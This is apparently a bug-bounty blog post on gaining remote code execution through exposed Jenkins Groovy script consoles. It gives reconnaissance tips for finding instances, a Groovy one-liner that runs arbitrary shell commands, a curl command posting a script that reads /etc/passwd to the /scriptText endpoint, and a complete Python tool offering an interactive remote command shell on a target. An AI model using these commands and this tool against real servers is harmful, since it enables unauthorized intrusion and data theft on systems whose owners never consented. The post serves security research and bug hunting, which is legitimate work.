Remote Code Execution with Groovy console in Jenkins

Jenkins is “The leading open source automation server, Jenkins provides hundreds of plugins to support building, deploying and automating any project.

In general, it’s CI/CD (Continuous Integration/Continuous Delivery) system written in Java, for deploying your applications, easily extensible with several plugins. It’s one of the most popular CI/CD system in the world and it’s quite common to came across Jenkins when doing bug bounty, especially in programs with wide scope.

There is a lot of security research done recently around Jenkins and its plugins. One of the best resources I recommend to read are Orange’s Tsai blog post about what he’s found — “Hacking Jenkins Part 1 Play with Dynamic Routing

How to find Jenkins instance

Jenkins is JavaEE web application and in the most common installation it works on port 8080, so make sure you include this port in your reconnaissance phase (you can also check other common JavaEE applications ports, like 8008, 8009, 8088 and so on).

From my experience, it is quite common to find Jenkins installation which does not handle the proper authentication or authorization — in that case, you are able to perform some malicious actions, from enumerating users (like presented in Orange’s post) to executing arbitrary code on the server, which this post is about.

Jenkins Script Console

One of the features of Jenkins is built-in console, which allows to run Groovy scripts directly on the server where Jenkins instance is running.

Console is accessible both from web interface as well as from the command line. Web interface is available at http://domain.com:8080/script:

An endpoint to execute Groovy scripts from the command line is located at http://domain.com:8080/scriptText , I’ll get back to it later in this post.

Simple Groovy one-liner to execute Bash command

The good thing is that you do not have to be an expert in Java or Groovy. Groovy allows to execute Bash commands with very easy to understand one-liner:

println "ls -l".execute().text

The code is rather self-explanatory, but just for the sake of clarification: println is the instruction to print the result of “ls -l”.execute().text. “ls -l” is a String object, which has a method execute() (runs the command) and returns the result of STDOUT from the remote machine as text property.

This is how you can run any command, just place it instead of “ls -l” in the example above. The result of the command will be printed below the textarea.

Execute Groovy scripts from the command line

As I mentioned before, you can use Jenkins Script Console from the command line as well.

To be able to do this, first create a file contains Groovy code to execute, in our example this will be a command to display content of /etc/passwd file:

$ echo 'println "cat /etc/passwd".ececute().text' > groovy_script

Now, you can use this script as an input for curl command to finally run it on the remote machine:

$ curl --data-urlencode "script=$(< ./groovy_script)" http://domain.com:8080/scriptText

To make things easier, I’ve created small Python script to execute commands on remote machine using /scriptText endpoint:

#!/usr/bin/env python
import requests
import sys

print """
Jenkins Groovy Console cmd runner.

usage: ./jgc.py [HOST]

Then type any command and wait for STDOUT output from remote machine.
Type 'exit' to exit :)
"""
URL = sys.argv[1] + '/scriptText'
HEADERS = {
'User-Agent': 'jgc'
}

while 1:
CMD = raw_input(">> Enter command to execute (or type 'exit' to exit): ")
if CMD == 'exit':
print "exiting...\n"
exit(0)

DATA = {
'script': 'println "{}".execute().text'.format(CMD)
}
result = requests.post(URL, headers=HEADERS, data=DATA)
print result.text

It’s available here: https://github.com/bl4de/security-tools/blob/master/jgc.py

Feel free to modify it for your needs :)

Examples of exploitation “in the wild”

This attack vector against Jenkins instance is well known and you can find practical exploitation examples in various bug bounty programs:

References

You can read more about Jenkins Script Console on official Jenkins documentation Wiki. Also, if you haven’t done this already, I recommend to update your recon tools with all information which might be useful to discover Jenkins instances (8080 TCP port, paths like /script, /scriptText etc.)

Happy Hunting!

bl4de